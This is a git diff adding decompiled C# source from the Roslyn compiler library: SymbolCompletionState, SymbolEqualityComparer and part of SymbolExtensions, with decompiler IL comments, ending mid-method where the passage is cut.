a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolCompletionState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolCompletionState.cs new file mode 100644 index 0000000..aeb32f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolCompletionState.cs @@ -0,0 +1,87 @@ +using System.Text; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal struct SymbolCompletionState +{ + private volatile int _completeParts; + + internal int IncompleteParts => ~_completeParts & 0x3FFFF; + + internal CompletionPart NextIncompletePart + { + get + { + int incompleteParts = IncompleteParts; + return (CompletionPart)(incompleteParts & ~(incompleteParts - 1)); + } + } + + internal void DefaultForceComplete(Symbol symbol, CancellationToken cancellationToken) + { + if (!HasComplete(CompletionPart.Attributes)) + { + symbol.GetAttributes(); + SpinWaitComplete(CompletionPart.Attributes, cancellationToken); + } + NotePartComplete(CompletionPart.All); + } + + internal bool HasComplete(CompletionPart part) + { + return ((uint)_completeParts & (uint)part) == (uint)part; + } + + internal bool NotePartComplete(CompletionPart part) + { + return ThreadSafeFlagOperations.Set(ref _completeParts, (int)part); + } + + internal static bool HasAtMostOneBitSet(int bits) + { + return (bits & (bits - 1)) == 0; + } + + internal void SpinWaitComplete(CompletionPart part, CancellationToken cancellationToken) + { + if (!HasComplete(part)) + { + SpinWait spinWait = default(SpinWait); + while (!HasComplete(part)) + { + cancellationToken.ThrowIfCancellationRequested(); + spinWait.SpinOnce(); + } + } + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append("CompletionParts("); + bool flag = false; + int num = 0; + while (true) + { + int num2 = 1 << num; + if ((num2 & 0x3FFFF) == 0) + { + break; + } + if ((num2 & _completeParts) != 0) + { + if (flag) + { + stringBuilder.Append(", "); + } + stringBuilder.Append(num); + flag = true; + } + num++; + } + stringBuilder.Append(")"); + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolEqualityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolEqualityComparer.cs new file mode 100644 index 0000000..29a2fdc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolEqualityComparer.cs @@ -0,0 +1,44 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SymbolEqualityComparer : EqualityComparer +{ + internal static readonly EqualityComparer ConsiderEverything = new SymbolEqualityComparer((TypeCompareKind)0); + + internal static readonly EqualityComparer IgnoringTupleNamesAndNullability = new SymbolEqualityComparer((TypeCompareKind)12); + + internal static readonly EqualityComparer IgnoringDynamicTupleNamesAndNullability = new SymbolEqualityComparer((TypeCompareKind)14); + + internal static readonly EqualityComparer IgnoringNullable = new SymbolEqualityComparer((TypeCompareKind)8); + + internal static readonly EqualityComparer ObliviousNullableModifierMatchesAny = new SymbolEqualityComparer((TypeCompareKind)16); + + internal static readonly EqualityComparer AllIgnoreOptions = new SymbolEqualityComparer((TypeCompareKind)63); + + internal static readonly EqualityComparer AllIgnoreOptionsPlusNullableWithUnknownMatchesAny = new SymbolEqualityComparer((TypeCompareKind)55); + + internal static readonly EqualityComparer CLRSignature = new SymbolEqualityComparer((TypeCompareKind)62); + + private readonly TypeCompareKind _comparison; + + internal static EqualityComparer IncludeNullability => ConsiderEverything; + + private SymbolEqualityComparer(TypeCompareKind comparison) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + _comparison = comparison; + } + + public override int GetHashCode(Symbol obj) + { + return obj?.GetHashCode() ?? 0; + } + + public override bool Equals(Symbol x, Symbol y) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return x?.Equals(y, _comparison) ?? ((object)y == null); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolExtensions.cs new file mode 100644 index 0000000..206075e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SymbolExtensions.cs @@ -0,0 +1,1819 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class SymbolExtensions +{ + private static readonly Func s_hasInvalidTypeParameterFunc = (TypeSymbol type, Symbol containingSymbol, bool unused) => HasInvalidTypeParameter(type, containingSymbol); + + internal static bool HasParamsParameter(this Symbol member) + { + ImmutableArray parameters = member.GetParameters(); + if (!parameters.IsEmpty) + { + return parameters.Last().IsParams; + } + return false; + } + + internal static ImmutableArray GetParameters(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).Parameters; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).Parameters; + } + return ImmutableArray.Empty; + } + + internal static ImmutableArray GetParameterTypes(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).ParameterTypesWithAnnotations; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).ParameterTypesWithAnnotations; + } + return ImmutableArray.Empty; + } + + internal static bool GetIsVararg(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind == 9) + { + return ((MethodSymbol)member).IsVararg; + } + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + } + return false; + } + + internal static ImmutableArray GetParameterRefKinds(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).ParameterRefKinds; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).ParameterRefKinds; + } + return default(ImmutableArray); + } + + internal static int GetParameterCount(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if (kind - 5 > 1) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).ParameterCount; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).ParameterCount; + } + return 0; + } + + internal static bool HasParameterContainingPointerType(this Symbol member) + { + ImmutableArray.Enumerator enumerator = member.GetParameterTypes().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Type.ContainsPointer()) + { + return true; + } + } + return false; + } + + public static bool IsEventOrPropertyWithImplementableNonPublicAccessor(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind != 5) + { + if ((int)kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)symbol; + if (!isImplementableAndNotPublic(propertySymbol.GetMethod)) + { + return isImplementableAndNotPublic(propertySymbol.SetMethod); + } + return true; + } + return false; + } + EventSymbol eventSymbol = (EventSymbol)symbol; + if (!isImplementableAndNotPublic(eventSymbol.AddMethod)) + { + return isImplementableAndNotPublic(eventSymbol.RemoveMethod); + } + return true; + static bool isImplementableAndNotPublic(MethodSymbol accessor) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if (accessor.IsImplementable()) + { + return (int)accessor.DeclaredAccessibility != 6; + } + return false; + } + } + + public static bool IsImplementable(this MethodSymbol methodOpt) + { + if ((object)methodOpt != null && !methodOpt.IsSealed) + { + if (!methodOpt.IsAbstract) + { + return methodOpt.IsVirtual; + } + return true; + } + return false; + } + + public static bool IsAccessor(this MethodSymbol methodSymbol) + { + return (object)methodSymbol.AssociatedSymbol != null; + } + + public static bool IsAccessor(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 9) + { + return ((MethodSymbol)symbol).IsAccessor(); + } + return false; + } + + public static bool IsIndexedPropertyAccessor(this MethodSymbol methodSymbol) + { + return methodSymbol.AssociatedSymbol?.IsIndexedProperty() ?? false; + } + + public static bool IsOperator(this MethodSymbol methodSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + if ((int)methodSymbol.MethodKind != 9) + { + return (int)methodSymbol.MethodKind == 2; + } + return true; + } + + public static bool IsOperator(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 9) + { + return ((MethodSymbol)symbol).IsOperator(); + } + return false; + } + + public static bool IsIndexer(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 15) + { + return ((PropertySymbol)symbol).IsIndexer; + } + return false; + } + + public static bool IsIndexedProperty(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 15) + { + return ((PropertySymbol)symbol).IsIndexedProperty; + } + return false; + } + + public static bool IsUserDefinedConversion(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 9) + { + return (int)((MethodSymbol)symbol).MethodKind == 2; + } + return false; + } + + public static int CustomModifierCount(this MethodSymbol method) + { + int num = 0; + TypeWithAnnotations returnTypeWithAnnotations = method.ReturnTypeWithAnnotations; + num += returnTypeWithAnnotations.CustomModifiers.Length + method.RefCustomModifiers.Length; + num += returnTypeWithAnnotations.Type.CustomModifierCount(); + ImmutableArray.Enumerator enumerator = method.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations = current.TypeWithAnnotations; + num += typeWithAnnotations.CustomModifiers.Length + current.RefCustomModifiers.Length; + num += typeWithAnnotations.Type.CustomModifierCount(); + } + return num; + } + + public static int CustomModifierCount(this Symbol m) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Expected I4, but got Unknown + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected I4, but got Unknown + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + SymbolKind kind = m.Kind; + switch (kind - 1) + { + default: + switch (kind - 9) + { + default: + if ((int)kind != 20) + { + goto end_IL_000a; + } + break; + case 2: + case 5: + case 8: + break; + case 0: + return ((MethodSymbol)m).CustomModifierCount(); + case 6: + return ((PropertySymbol)m).CustomModifierCount(); + case 1: + case 3: + case 4: + case 7: + goto end_IL_000a; + } + goto case 0; + case 0: + case 3: + return ((TypeSymbol)m).CustomModifierCount(); + case 4: + return ((EventSymbol)m).CustomModifierCount(); + case 1: + case 2: + break; + end_IL_000a: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)m.Kind); + } + + public static int CustomModifierCount(this EventSymbol e) + { + return e.Type.CustomModifierCount(); + } + + public static int CustomModifierCount(this PropertySymbol property) + { + int num = 0; + TypeWithAnnotations typeWithAnnotations = property.TypeWithAnnotations; + num += typeWithAnnotations.CustomModifiers.Length + property.RefCustomModifiers.Length; + num += typeWithAnnotations.Type.CustomModifierCount(); + ImmutableArray.Enumerator enumerator = property.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations2 = current.TypeWithAnnotations; + num += typeWithAnnotations2.CustomModifiers.Length + current.RefCustomModifiers.Length; + num += typeWithAnnotations2.Type.CustomModifierCount(); + } + return num; + } + + internal static Symbol SymbolAsMember(this Symbol s, NamedTypeSymbol newOwner) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected I4, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + SymbolKind kind = s.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + break; + } + return ((PropertySymbol)s).AsMember(newOwner); + case 1: + return ((FieldSymbol)s).AsMember(newOwner); + case 4: + return ((MethodSymbol)s).AsMember(newOwner); + case 6: + return ((NamedTypeSymbol)s).AsMember(newOwner); + case 0: + return ((EventSymbol)s).AsMember(newOwner); + case 2: + case 3: + case 5: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)s.Kind); + } + + internal static int GetMemberArity(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind != 4) + { + if ((int)kind == 9) + { + return ((MethodSymbol)symbol).Arity; + } + if ((int)kind != 11) + { + return 0; + } + } + return ((NamedTypeSymbol)symbol).Arity; + } + + internal static NamespaceOrTypeSymbol OfMinimalArity(this IEnumerable symbols) + { + NamespaceOrTypeSymbol result = null; + int num = int.MaxValue; + foreach (NamespaceOrTypeSymbol symbol in symbols) + { + int memberArity = symbol.GetMemberArity(); + if (memberArity < num) + { + num = memberArity; + result = symbol; + } + } + return result; + } + + internal static ImmutableArray GetMemberTypeParameters(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Expected I4, but got Unknown + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + switch (kind - 4) + { + default: + if ((int)kind != 15) + { + break; + } + goto case 1; + case 5: + return ((MethodSymbol)symbol).TypeParameters; + case 0: + case 7: + return ((NamedTypeSymbol)symbol).TypeParameters; + case 1: + case 2: + return ImmutableArray.Empty; + case 3: + case 4: + case 6: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + + internal static ImmutableArray GetMemberTypeArgumentsNoUseSiteDiagnostics(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Expected I4, but got Unknown + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + switch (kind - 4) + { + default: + if ((int)kind != 15) + { + break; + } + goto case 1; + case 5: + return ImmutableArrayExtensions.SelectAsArray(((MethodSymbol)symbol).TypeArgumentsWithAnnotations, TypeMap.AsTypeSymbol); + case 0: + case 7: + return ImmutableArrayExtensions.SelectAsArray(((NamedTypeSymbol)symbol).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics, TypeMap.AsTypeSymbol); + case 1: + case 2: + return ImmutableArray.Empty; + case 3: + case 4: + case 6: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + + internal static bool IsConstructor(this MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + MethodKind methodKind = method.MethodKind; + if ((int)methodKind == 1 || (int)methodKind == 14) + { + return true; + } + return false; + } + + internal static bool HasThisConstructorInitializer(this MethodSymbol method, out ConstructorInitializerSyntax initializerSyntax) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((object)method != null && (int)method.MethodKind == 1 && method is SourceMemberMethodSymbol { SyntaxNode: ConstructorDeclarationSyntax syntaxNode } && syntaxNode.Initializer?.Kind() == SyntaxKind.ThisConstructorInitializer) + { + initializerSyntax = syntaxNode.Initializer; + return true; + } + initializerSyntax = null; + return false; + } + + internal static bool IncludeFieldInitializersInBody(this MethodSymbol methodSymbol) + { + if (methodSymbol.IsConstructor() && (!methodSymbol.HasThisConstructorInitializer(out var initializerSyntax) || methodSymbol.ContainingType.IsDefaultValueTypeConstructor(initializerSyntax)) && !(methodSymbol is SynthesizedRecordCopyCtor)) + { + return !Binder.IsUserDefinedRecordCopyConstructor(methodSymbol); + } + return false; + } + + internal static bool IsDefaultValueTypeConstructor(this NamedTypeSymbol type, ConstructorInitializerSyntax initializerSyntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (initializerSyntax.ArgumentList.Arguments.Count > 0 || !type.IsValueType) + { + return false; + } + bool flag = false; + bool result = false; + ImmutableArray.Enumerator enumerator = type.InstanceConstructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (current.ParameterCount == 0) + { + if (flag) + { + return false; + } + flag = true; + result = current.IsDefaultValueTypeConstructor(); + } + } + return result; + } + + internal static bool IsParameterlessConstructor(this MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)method.MethodKind == 1) + { + return method.ParameterCount == 0; + } + return false; + } + + internal static bool IsDefaultValueTypeConstructor(this MethodSymbol method) + { + if (method.IsImplicitlyDeclared) + { + NamedTypeSymbol containingType = method.ContainingType; + if ((object)containingType != null && containingType.IsValueType) + { + return method.IsParameterlessConstructor(); + } + } + return false; + } + + internal static bool ShouldEmit(this MethodSymbol method) + { + if (method.IsDefaultValueTypeConstructor()) + { + return false; + } + if (method is SynthesizedStaticConstructor synthesizedStaticConstructor && !synthesizedStaticConstructor.ShouldEmit()) + { + return false; + } + if (method.IsPartialMethod() && (object)method.PartialImplementationPart == null) + { + return false; + } + return true; + } + + internal static MethodSymbol GetOwnOrInheritedAddMethod(this EventSymbol @event) + { + while ((object)@event != null) + { + MethodSymbol addMethod = @event.AddMethod; + if ((object)addMethod != null) + { + return addMethod; + } + @event = (@event.IsOverride ? @event.OverriddenEvent : null); + } + return null; + } + + internal static MethodSymbol GetOwnOrInheritedRemoveMethod(this EventSymbol @event) + { + while ((object)@event != null) + { + MethodSymbol removeMethod = @event.RemoveMethod; + if ((object)removeMethod != null) + { + return removeMethod; + } + @event = (@event.IsOverride ? @event.OverriddenEvent : null); + } + return null; + } + + internal static bool IsExplicitInterfaceImplementation(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).IsExplicitInterfaceImplementation; + } + return false; + } + return ((MethodSymbol)member).IsExplicitInterfaceImplementation; + } + return ((EventSymbol)member).IsExplicitInterfaceImplementation; + } + + internal static bool IsPartialMethod(this Symbol member) + { + return (member as SourceMemberMethodSymbol)?.IsPartial ?? false; + } + + internal static bool IsPartialImplementation(this Symbol member) + { + return (member as SourceOrdinaryMethodSymbol)?.IsPartialImplementation ?? false; + } + + internal static bool IsPartialDefinition(this Symbol member) + { + return (member as SourceOrdinaryMethodSymbol)?.IsPartialDefinition ?? false; + } + + internal static bool ContainsTupleNames(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).Type.ContainsTupleNames(); + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + MethodSymbol methodSymbol = (MethodSymbol)member; + if (!methodSymbol.ReturnType.ContainsTupleNames()) + { + return methodSymbol.Parameters.Any((ParameterSymbol p) => p.Type.ContainsTupleNames()); + } + return true; + } + return ((EventSymbol)member).Type.ContainsTupleNames(); + } + + internal static ImmutableArray GetExplicitInterfaceImplementations(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ImmutableArrayExtensions.Cast(((PropertySymbol)member).ExplicitInterfaceImplementations); + } + return ImmutableArray.Empty; + } + return ImmutableArrayExtensions.Cast(((MethodSymbol)member).ExplicitInterfaceImplementations); + } + return ImmutableArrayExtensions.Cast(((EventSymbol)member).ExplicitInterfaceImplementations); + } + + internal static Symbol GetOverriddenMember(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).OverriddenProperty; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).OverriddenMethod; + } + return ((EventSymbol)member).OverriddenEvent; + } + + internal static Symbol GetLeastOverriddenMember(this Symbol member, NamedTypeSymbol accessingTypeOpt) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).GetLeastOverriddenProperty(accessingTypeOpt); + } + return member; + } + return ((MethodSymbol)member).GetConstructedLeastOverriddenMethod(accessingTypeOpt, requireSameReturnType: false); + } + return ((EventSymbol)member).GetLeastOverriddenEvent(accessingTypeOpt); + } + + internal static bool IsFieldOrFieldLikeEvent(this Symbol member, out FieldSymbol field) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind == 6) + { + field = (FieldSymbol)member; + return true; + } + field = null; + return false; + } + field = ((EventSymbol)member).AssociatedField; + return (object)field != null; + } + + internal static string GetMemberCallerName(this Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)member.Kind == 9) + { + member = ((MethodSymbol)member).AssociatedSymbol ?? member; + } + if (!member.IsIndexer()) + { + if (!member.IsExplicitInterfaceImplementation()) + { + return member.Name; + } + return ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(member.Name); + } + return member.MetadataName; + } + + public static bool IsCompilationOutputWinMdObj(this Symbol symbol) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + CSharpCompilation declaringCompilation = symbol.DeclaringCompilation; + if (declaringCompilation != null) + { + return (int)((CompilationOptions)declaringCompilation.Options).OutputKind == 4; + } + return false; + } + + public static NamedTypeSymbol ConstructIfGeneric(this NamedTypeSymbol type, 